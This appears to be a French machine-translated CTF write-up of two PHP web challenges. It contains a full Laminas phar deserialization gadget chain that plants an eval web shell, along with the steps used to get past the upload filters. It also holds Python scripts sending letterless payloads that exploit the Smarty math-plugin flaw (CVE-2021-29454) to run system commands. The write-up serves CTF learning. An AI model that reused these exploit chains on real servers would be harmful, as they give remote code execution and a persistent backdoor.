Site de fans
Le sujet donnait un indice, et il était lié aux laminas.
Scannez le répertoire pour obtenir le code source.
Le code d'audit a trouvé que le titre a une route d'album et que le contrôleur n'a qu'un seul /module/Album/src/Controller/AlbumController.php
Il contient plusieurs fonctions de traitement, qui peuvent télécharger des fichiers et supprimer des fichiers.
Mais le filtrage des fichiers téléchargés est une liste blanche, il n'est donc pas facile de le contourner.
Et il ne peut pas y avoir de contenu dans le contenu. <?
HALT_COMPILER
C'est un peu de l'argenterie ici. Pourquoi filtrer HALT_COMPILER lié à phar sans raison.
La recherche de la vulnérabilité de ce composant sur Internet a trouvé une vulnérabilité de désérialisation https://xz.aliyun.com/t/8975
, c'est facile à dire, nous pouvons télécharger un fichier phar, puis supprimer le fichier et déclencher la désérialisation lors de l'appel à unlink. Mais vous devez vous assurer que le contenu est supérieur à 3 Ko, alors ajoutez unstr_repeat('123',1000000)
<?php
namespace Laminas\View\Resolver{
class TemplateMapResolver{
protected $map = ["setBody"=>"system"];
}
}
namespace Laminas\View\Renderer{
class PhpRenderer{
private $__helpers;
function __construct(){
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
}
}
}
namespace Laminas\Log\Writer{
abstract class AbstractWriter{
}
class Mail extends AbstractWriter{
protected $eventsToMail = ["echo '<?php eval(\$_POST[1]);?>' > /var/www/public/a.php"]; // cmd cmd cmd
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new \Laminas\View\Renderer\PhpRenderer();
}
}
}
namespace Laminas\Log{
class Logger{
protected $writers;
function __construct(){
$this->writers = [new \Laminas\Log\Writer\Mail()];
}
}
}
namespace{
$a = new \Laminas\Log\Logger();
$phar = new Phar("shell.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($a); //将自定义的 meta-data 存入 manifest
$phar->addFromString("a", str_repeat('123',1000000)); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
?>
La chaîne est sortie et il y avait un problème à résoudre. Contournez <? et __HALT_COMPILER
pour trouver un article en ligne afin de https://www.wangan.com/p/7fygf7a00f0fd793
gzipper le fichier phar généré. Changez ensuite le suffixe en png.
Obtenez le chemin du fichier une fois le téléchargement terminé.
Passez en phar:///var/www/public/img/00bf23e130fa1e525e332ff03dae345d.png où le fichier est supprimé
Une fois l'épée de fourmi connectée, le drapeau est obtenu
Smarty_calculator
Scannez l'arrière-plan pour obtenir le code source
Le nom du titre est le site de test pour cette question, le modèle smarty en php.
Après avoir cherché, j'ai trouvé le cve associé CVE-2021-29454 . Après avoir utilisé les mathématiques dans smarty pour
apprendre une vague, elle peut être calculée en passant {math equation="(( x + y ) / z )" x=2 y=10 z=2}
.
Et il y a un fichier connexe src/Smarty/plugins/function.math.php
dans le code source. La fonction eval s'y trouve
. Le sujet du test devrait être la vulnérabilité d'exécution de la commande. Monter, le contenu de l'équation ne peut pas contenir de backticks et $ et Le nombre de parenthèses gauche et droite doit correspondre. En plus de cela, un match régulier est également effectué.
Il n'y a probablement pas d'hexadécimal, pas de lettre au début, sinon, entrez cette boucle foreach.
Il s'agit toujours d'une boucle vers le bas, si la chaîne utilisée dans le contenu entrant n'est pas equation ou format ou assign, un remplacement sera effectué.
Donc, si nous évitons ces deux boucles, nous pouvons épisser le contenu entrant et le mettre en eval.
Il est facile de penser à la lettre rce sans chiffres. De cette façon, il ne sera pas mis en correspondance avec l'expression régulière et une autre boucle peut être contournée (il n'y a pas d'autres lettres et il n'y a qu'une seule valeur de clé dans $param).
Le script sans chiffres ni lettres J'en ai écrit un relativement complet auparavant. https://blog.csdn.net/miuzzx/article/details/109143413
Utilisez simplement votre propre script.
En utilisant la construction OR, essayons d'abord phpinfo
import requests
import urllib.parse
url="http://eci-2ze9vv2h6yb0y4183bod.cloudeci1.ichunqiu.com/"
data={
'data':urllib.parse.unquote(''' {math equation="1;('%30%28%30%29%2e%26%2f'|'%40%40%40%40%40%40%40')();//" }''')}
r=requests.post(url,data=data,cookies={
'login':'1'})
print(r.text)
Il y a df, mais il reste un popen, vous pouvez donc utiliser popen pour exécuter des commandes système.
Devinez aveuglément qu'une vague de chemin de drapeau est /flag, exécutez la commande système cp /flag a
, qui consiste à construire une instruction phppopen('cp /f* a','r')
import requests
import urllib.parse
url="http://eci-2ze9vv2h6yb0y4183bod.cloudeci1.ichunqiu.com/"
data={
'data':urllib.parse.unquote(''' {math equation="1;('%30%2f%30%25%2e'|'%40%40%40%40%40')(('%23%30%00%00%26%00%00%21'|'%40%40%20%2f%40%2a%20%40'),('%32'|'%40'));//" }''')}
r=requests.post(url,data=data,cookies={
'login':'1'})
print(r.text)
Visitez /a pour obtenir le drapeau